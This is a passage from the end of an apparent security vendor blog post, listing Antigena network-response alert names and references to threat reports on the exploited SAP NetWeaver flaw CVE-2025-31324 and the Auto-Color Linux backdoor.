Antigena / Network::External Threat::Antigena Suspicious Activity Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / MDR::Model Alert on MDR-Actioned Device

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

References

1. [Online] https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/.

2. https://unit42.paloaltonetworks.com/new-linux-backdoor-auto-color/. [Online]

3. [Online] (https://www.darktrace.com/blog/tracking-cve-2025-31324-darktraces-detection-of-sap-netweaver-exploitation-before-and-after-disclosure#:~:text=June%2016%2C%202025-,Tracking%20CVE%2D2025%2D31324%3A%20Darktrace's%20detection%20of%20SAP%20Netweaver,guidance%.

4. [Online] https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/.

5. [Online] https://www.forescout.com/blog/threat-analysis-sap-vulnerability-exploited-in-the-wild-by-chinese-threat-actor/.

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